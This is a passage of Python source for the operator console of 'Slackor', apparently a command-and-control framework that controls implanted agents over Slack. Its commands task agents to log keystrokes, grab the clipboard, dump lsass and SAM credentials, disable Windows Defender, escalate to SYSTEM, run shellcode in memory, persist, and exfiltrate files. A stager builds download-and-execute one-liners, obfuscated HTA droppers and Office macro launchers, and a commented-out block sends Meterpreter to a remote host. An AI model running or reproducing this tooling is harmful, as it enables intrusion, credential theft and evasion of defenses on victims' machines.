sysinfo(bearer, commands, self.target) 800 print(color("Gathering System Information for " + self.target, "blue")) 801 802 def do_clipboard(self, args): 803 """CLIPBOARD - Retrieves the content of the clipboard""" 804 clipboard(bearer, commands, self.target) 805 print(color("Retrieving the clipboard for " + self.target, "blue")) 806 807 def do_duplicate(self, args): 808 """DUPLICATE - Causes the agent to spawn another invocation of itself""" 809 duplicate(bearer, commands, self.target) 810 print(color("Duplicating " + self.target, "blue")) 811 812 def do_keyscan(self, args): 813 """keyscan - Starts a keylogger on the system""" 814 keyscan(bearer, commands, self.target, args) 815 if args == "start": 816 print(color("Starting keylogger on " + self.target, "blue")) 817 elif args == "stop": 818 print(color("Stopping keylogger on " + self.target, "blue")) 819 elif args == "dump": 820 print(color("Dumping keylogger output for " + self.target, "blue")) 821 else: 822 print(color("Please supply an additional argument [start|stop|dump]", "blue")) 823 824 def do_getsystem(self, args): 825 """GETSYSTEM - Attempts to spawn an agent with SYSTEM privileges""" 826 conn = sqlite3.connect('slackor.db') 827 cursor = conn.execute("SELECT user from AGENTS where id='" + self.target + "'") 828 user = cursor.fetchone() 829 if user[0].endswith('*'): 830 print(color("RISK: Writes to disk and executed a scheduled task", "yellow")) 831 if bad_opsec(): 832 getsystem(bearer, commands, self.target) 833 print(color("Getting SYSTEM on " + self.target, "blue")) 834 else: 835 print(color("Agent not running as high integrity", "yellow")) 836 837 def do_defanger(self, args): 838 """DEFANGER - Attempts to de-fang Windows Defender 839 Example: defanger realtime""" 840 conn = sqlite3.connect('slackor.db') 841 cursor = conn.execute("SELECT user from AGENTS where id='" + self.target + "'") 842 user = cursor.fetchone() 843 if user[0].endswith('*'): 844 if args == "realtime": 845 print(color("RISK: Pops a notification on the target and executes powershell.exe", "yellow")) 846 if bad_opsec(): 847 defanger(bearer, commands, self.target, args) 848 print(color("Disabling Real-time protection on " + self.target, "blue")) 849 elif args == "exclusion": 850 print(color("RISK: executes powershell.exe", "yellow")) 851 if bad_opsec(): 852 defanger(bearer, commands, self.target, args) 853 print(color("Adding an AV exclusion for C:\\ on " + self.target, "blue")) 854 855 elif args == "signature": 856 print(color("RISK: executes cmd.exe", "yellow")) 857 if bad_opsec(): 858 defanger(bearer, commands, self.target, args) 859 print(color("Deleting AV signatures on " + self.target, "blue")) 860 else: 861 print(color("Please supply an additional argument [realtime|exclusion|signature]", "blue")) 862 else: 863 print(color("Agent not running as high integrity", "yellow")) 864 ''' 865 def do_metasploit(self, args): 866 """METASPLOIT - Executes meterpreter on the target over HTTPS. 867 MSF payload: windows/x64/meterpreter/reverse_https""" 868 print(color("Listener must be windows/x64/meterpreter/reverse_https", "yellow")) 869 print(color("RISK: Connection to non-slack IP", "yellow")) 870 ip = input("Enter the IP Address: ") 871 port = input("Enter the Port Number: ") 872 url = "https://" + ip + ":" + port + "/" 873 if validate_url(url): 874 metasploit(bearer, commands, self.target, url) 875 print(color("Sending Meterpreter payload to: " + self.target, "blue")) 876 else: 877 print("Invalid URL: " + url) 878 ''' 879 def do_shellcode(self, args): 880 """SHELLCODE - Executes RAW shellcode. MUST be 64 bit. 881 Example: shellcode /tmp/shellcode64.raw""" 882 filepath = args 883 shellcode(bearer, commands, self.target, filepath) 884 print(color("Executing shellcode on: " + self.target, "blue")) 885 886 def do_pyinject(self, args): 887 """PYINJECT - Executes a python script in memory. (Python 2.7) 888 Example: shellcode /tmp/script.py""" 889 filepath = args 890 pyinject(bearer, commands, self.target, filepath) 891 print(color("Executing python script on: " + self.target, "blue")) 892 893 def do_beacon(self, args): 894 """BEACON - Changes the mean(average)time in seconds that an agent checks for new commands. 20% jitter. 895 Example: beacon 5 (Beacons average 5 seconds)""" 896 try: 897 # Test if value is an integer, bail if not 898 beacon_test = int(args) 899 beacon(bearer, commands, self.target, args) 900 print(color("Changed beacon timing to " + args + " seconds", "blue")) 901 except ValueError: 902 print(color("Beacon value must be an integer. (Number of seconds)", "yellow")) 903 904 def do_wget(self, args): 905 """WGET - Not actually wget, but will download a file when given a URL. 906 Example: wget hxxps://domain.tld/file.exe """ 907 print(color("RISK: Writes to disk, calls out to non-Slack domain", "yellow")) 908 if bad_opsec(): 909 if validate_url(args): 910 upload(bearer, commands, self.target, args) 911 print(color("Tasked " + self.target + " to download the file at " + args, "blue")) 912 else: 913 print("Invalid URL. Please use a full URL.") 914 915 def do_upload(self, args): 916 """UPLOAD - Will upload a file that will be downloaded on the agent. Provide a local path on the server. 917 Example: upload /tmp/file.exe""" 918 print(color("RISK: Writes to disk", "yellow")) 919 if bad_opsec(): 920 url = upload_file(args) 921 if url: 922 upload(bearer, commands, self.target, url) 923 print(color("Tasked " + self.target + " to download the file at " + url, "blue")) 924 925 def do_download(self, args): 926 """DOWNLOAD - Will retrieve a file from the agent. Provide a local path on the agent. 927 Example: download C:\\Users\\Administrator\\Desktop\\secrets.txt """ 928 download(bearer, commands, self.target, args) 929 print(color("Downloading " + args + " from " + self.target + "...", "blue")) 930 931 def do_minidump(self, args): 932 """MINIDUMP - Dumps memory from lsass.exe and downloads it""" 933 conn = sqlite3.connect('slackor.db') 934 cursor = conn.execute("SELECT user from AGENTS where id='" + self.target + "'") 935 user = cursor.fetchone() 936 if user[0].endswith('*'): 937 print(color("RISK: Writes to disk, executes cmd.exe", "yellow")) 938 if bad_opsec(): 939 minidump(bearer, commands, self.target) 940 print(color("Dumping lsass.exe on target, this may take a while...", "blue")) 941 else: 942 print(color("Agent not running as high integrity", "yellow")) 943 944 def do_back(self, args): 945 """BACK - Leave the agent prompt and return to the main menu""" 946 return True 947 948 def do_kill(self, args): 949 """KILL - Kills the agent""" 950 kill(bearer, commands, self.target) 951 print(color("Sent kill command to " + self.target, "blue")) 952 conn = sqlite3.connect('slackor.db') 953 conn.execute("DELETE FROM AGENTS WHERE id=?", (self.target,)) 954 conn.commit() 955 conn.close() 956 agent_list.remove(self.target) 957 return True 958 959 def default(self, args): 960 if len(args) >= 3970: 961 print("Command too large. It must be less than 3970 characters after encrypting.") 962 else: 963 send_command(bearer, args, commands, self.target) 964 965 966 class MyPrompt(Cmd): # Class for modules ran from the main menu 967 968 def do_interact(self, args): 969 """Interacts with a registered agent \n Usage: interact [agent]""" 970 971 target = args.upper() 972 # Check to see if agent is in database 973 conn = sqlite3.connect('slackor.db') 974 cursor = conn.execute("SELECT id from AGENTS WHERE id=?", (target,)) 975 result = cursor.fetchone() 976 conn.close() 977 if result: 978 i = AgentCmd() 979 i.target = target 980 i.prompt = self.prompt[:-1] + ': ' + color(args.upper(), "red") + ')' 981 i.cmdloop(color("Interacting with " + target + ":", "blue")) 982 983 else: 984 print(color("Agent " + target + " not found", "yellow")) 985 986 def complete_interact(self, text, line, start_index, end_index): 987 if text: 988 return [ 989 agent for agent in agent_list 990 if agent.startswith(text.upper()) 991 ] 992 else: 993 return agent_list 994 995 def complete_remove(self, text, line, start_index, end_index): 996 if text: 997 return [ 998 agent for agent in agent_list 999 if agent.startswith(text.upper()) 1000 ] 1001 else: 1002 return agent_list 1003 1004 def do_list(self, args): 1005 """Lists registered agents""" 1006 t = PrettyTable(['ID', 'Hostname', 'User', 'IP Address', 'Version']) 1007 t.set_style(PLAIN_COLUMNS) 1008 conn = sqlite3.connect('slackor.db') 1009 cursor = conn.execute("SELECT id, hostname, user, ip, version from AGENTS") 1010 for row in cursor: 1011 ID = row[0] 1012 hostname = row[1] 1013 user = row[2] 1014 ipaddr = row[3] 1015 version = row[4] 1016 t.add_row([ID, hostname, user, ipaddr, version]) 1017 print(color(t, "blue")) 1018 conn.close() 1019 1020 1021 def do_remove(self, args): 1022 """Removes an agent. Specify an agent ID or say ALL \n Usage: remove [agent]""" 1023 client = args.upper() 1024 conn = sqlite3.connect('slackor.db') 1025 if client == "ALL": 1026 cursor = conn.execute("SELECT id, hostname, ip, version from AGENTS") 1027 for row in cursor: 1028 try: 1029 conn.execute("DELETE FROM AGENTS WHERE id=?", (row[0],)) 1030 kill(bearer, commands, row[0]) 1031 agent_list.remove(row[0]) 1032 print(color("Killing " + row[0], "blue")) 1033 except ValueError: 1034 pass 1035 print(color("Removed all agents", "blue")) 1036 else: 1037 try: 1038 conn.execute("DELETE FROM AGENTS WHERE id=?", (client,)) 1039 kill(bearer, commands, client) 1040 agent_list.remove(client) 1041 print(color("Removed ", "blue") + color(client, "red")) 1042 except ValueError: 1043 print(color("Agent " + client + " does not exist", "yellow")) 1044 1045 conn.commit() 1046 conn.close() 1047 1048 def do_quit(self, args): 1049 """Quits the program.""" 1050 print(color("Quitting...", "yellow")) 1051 raise SystemExit 1052 1053 def do_wipefiles(self, args): 1054 """Deletes all files from the workspace.""" 1055 response = input(color("WARNING: This will delete all files out of Slack. Continue? (Y/n): ", "yellow")) 1056 if response.upper()[:1] == "Y": 1057 print(color("Deleting all files from Slack...", "yellow")) 1058 wipe_files() 1059 1060 def do_stager(self, args): 1061 """Generates a one-liner to download an execute the implant. Takes a file path as an argument.""" 1062 print(color("RISK: Uploads your implant to a Slack. This file will be publicly downloadable.", "yellow")) 1063 if bad_opsec(): 1064 if not args: 1065 print(color("Please supply the file path to the implant file.", "yellow")) 1066 return False 1067 filepath = args 1068 try: 1069 open(filepath, 'rb') 1070 print(color("Uploading payload...", "blue")) 1071 oneliner, unique = make_stager(filepath) 1072 1073 if 'sfhta' in globals(): 1074 1075 with open("output/" + unique + ".html", "w") as out_file: 1076 out_file.write(sfhta.obfuscateHta(sfhta.generateBase(oneliner, "Video Plugin"))) 1077 print(color("Created HTA dropper at output/" + unique + ".html", "blue")) 1078 1079 if 'sfvba' in globals(): 1080 1081 with open("output/" + unique + "_word.vba", "w") as out_file: 1082 out_file.write(sfvba.generateVBALauncher("word", oneliner, "Comments")) 1083 print(color("Created MS Word VBA macro at output/" + unique + "_word.vba", "blue")) 1084 1085 with open("output/" + unique + "_excel.vba", "w") as out_file: 1086 out_file.write(sfvba.generateVBALauncher("excel", oneliner, "Comments")) 1087 print(color("Created MS Excel VBA macro at output/" + unique + "_excel.vba", "blue")) 1088 1089 with open("output/" + unique + "_powerpoint.vba", "w") as out_file: 1090 out_file.write(sfvba.generateVBALauncher("powerpoint", oneliner, "Comments")) 1091 print(color("Created MS PowerPoint VBA macro at output/" + unique + "_powerpoint.vba", "blue")) 1092 1093 except FileNotFoundError: 1094 print(color("File not Found", "yellow")) 1095 return False 1096 except OSError: 1097 print(color("File not Found", "yellow")) 1098 return False 1099 1100 def emptyline(self): 1101 pass 1102 1103 def do_modules(self, arg): 1104 """Displays information about available modules""" 1105 print("""Welcome to Slackor! Below are a list of things you can do: 1106 1107 Main Menu: 1108 =========== 1109 help - Displays information for a command type 1110 Usage: help [COMMAND] 1111 interact - Interacts with a registered agent 1112 Usage: interact [AGENT] 1113 list - Lists registered agents 1114 Usage: list 1115 remove - Removes an agent. Specify an agent ID or say ALL 1116 Usage: remove [AGENT] 1117 revive - Sends a signal to all agents to re-register with the server. 1118 Usage: revive 1119 stager - Generates a one-liner to download an execute the implant. 1120 Usage: stager [LOCAL FILE PATH] 1121 quit - Quits the program. 1122 Usage: quit 1123 wipefiles - Deletes all uploaded files out of the Slack workspace 1124 Usage: wipefiles 1125 1126 Agent Interaction: 1127 =================== 1128 back - Leave the agent prompt and return to the main menu 1129 Usage: back 1130 beacon - Changes the mean(average)time in seconds that an agent checks for new commands. 20% jitter. 1131 Usage: beacon 5 (Beacons average 5 seconds) 1132 bypassuac - Attempts to spawn a new agent with high integrity. 1133 Usage: bypassuac [fodhelper|ask] 1134 defanger - Attempts to de-fang Windows Defender. 1135 Usage: defanger [realtime|exclusion|signature] 1136 cleanup - Removes artifacts. 1137 Usage: cleanup [registry|scheduler|realtime|exclusion|signature] 1138 clipboard - Retrieves the content of the clipboard 1139 Usage: clipboard 1140 download - Will retrieve a file from the agent. Provide a local path on the agent. 1141 Usage: download [LOCAL FILE PATH] 1142 duplicate - Causes the agent to spawn another invocation of itself 1143 Usage: duplicate 1144 getsystem - Spawns an agent as NTAUTHORITY/SYSTEM 1145 Usage: getsystem 1146 help - Displays information for a command type 1147 Usage: help [COMMAND] 1148 keyscan - Starts a keylogger on the agent 1149 Usage: keyscan [start|stop|dump] 1150 kill - Kills the current agent 1151 Usage: kill 1152 minidump - Returns a dump of lsass.exe to be process by mimikatz 1153 Usage: minidump 1154 persist - Creates persistence by implanting a binary in an Alternate Data Stream. 1155 Can be activated by a scheduled task or via a run key. Userland or Elevated. 1156 Usage: persist [registry|scheduler|wmi] 1157 pyinject - Executes a python script in memory. (Python 2.7) 1158 Usage: pyinject [SERVER FILE PATH] 1159 samdump - Attempts to dump the SAM, SYSTEM and SECURITY files for offline hash extraction 1160 Usage: samdump 1161 shellcode - Executes x64 raw shellcode from a file. 1162 Usage: shellcode [SERVER FILE PATH] 1163 sleep - Causes the agent to sleep once. Time must be in seconds. 1164 Usage: sleep [INTEGER] 1165 sysinfo - Displays the current user, OS version, system architecture, and number of CPU cores 1166 Usage: sysinfo 1167 upload - Will upload a file that will be downloaded on the agent. Provide a local path on the server. 1168 Usage: upload [SERVER FILE PATH] 1169 wget - Not actually wget, but will download a file when given a URL. 1170 Usage: wget [URL] 1171 1172 OPSEC Information : 1173 =================== 1174 Modules will warn you before performing tasks that write to disk. 1175 When executing shell commands, take note that cmd.exe will be executed. This may be monitored on the host. 1176 Here are several OPSEC safe commands that will NOT execute cmd.exe: 1177 cat - prints the content of a file 1178 Usage: cat [FILEPATH] 1179 cd - change directory 1180 Usage: cd [DIRECTORY] 1181 hostname - Displays the name of the host 1182 Usage: hostname 1183 ifconfig - Displays interface information 1184 Usage: ifconfig 1185 getip - Get external IP address (makes a DNS request) 1186 Usage: getip 1187 ls - list directory contents 1188 Usage: ls [DIRECTORY] 1189 find - search directory filenames 1190 Usage: find [GLOB] 1191 mkdir - creates a directory 1192 Usage: mkdir [DIRPATH] 1193 pwd - prints the current working directory 1194 Usage: pwd 1195 rm - removes a file 1196 Usage: rm [FILEPATH] 1197 rmdir - removes a directory 1198 Usage: rmdir [DIRPATH] 1199 whoami / getuid - prints the current user 1200 Usage: whoami 1201 Usage: getuid 1202 """) 1203 1204 def default(self, line): 1205 print(color('Unknown command: %s\n' % (line,), "yellow")) 1206 1207 def do_revive(self, args): 1208 """REVIVE - Sends a signal to all agents to re-register with the server. 1209 """ 1210 revive(bearer, commands) 1211 print(color("Sending signal to all agents to register with the server...\n", "blue")) 1212 1213 1214 if __name__ == '__main__': 1215 # Keep checking for agents in the background 1216 agent_monitor = threading.Thread(target=update_agents) 1217 agent_monitor.start() 1218 # Keep checking for responses in the background 1219 response_monitor = threading.Thread(target=check_responses) 1220 response_monitor.start() 1221 prompt = MyPrompt() 1222 prompt.doc_header = "Main Menu (type help <topic>):" 1223 prompt.misc_header = "Agent Commands (type help <topic>):" 1224 prompt.prompt = '(Slackor)' 1225 banner = """ 1226 __ _ _ _ _ 1227 / _| | __ _ ___| | _____ _ __ _| || |_ 1228 \ \| |/ _` |/ __| |/ / _ \| '__| |_ .. _| 1229 _\ | | (_| | (__| | (_) | | |_ _| 1230 \__|_|\__,_|\___|_|\_\___/|_| |_||_| 1231 \n""" 1232 1233 prompt.cmdloop(color(banner, "green") 1234 + color("\nType \"modules\""" for additional information.", "green"))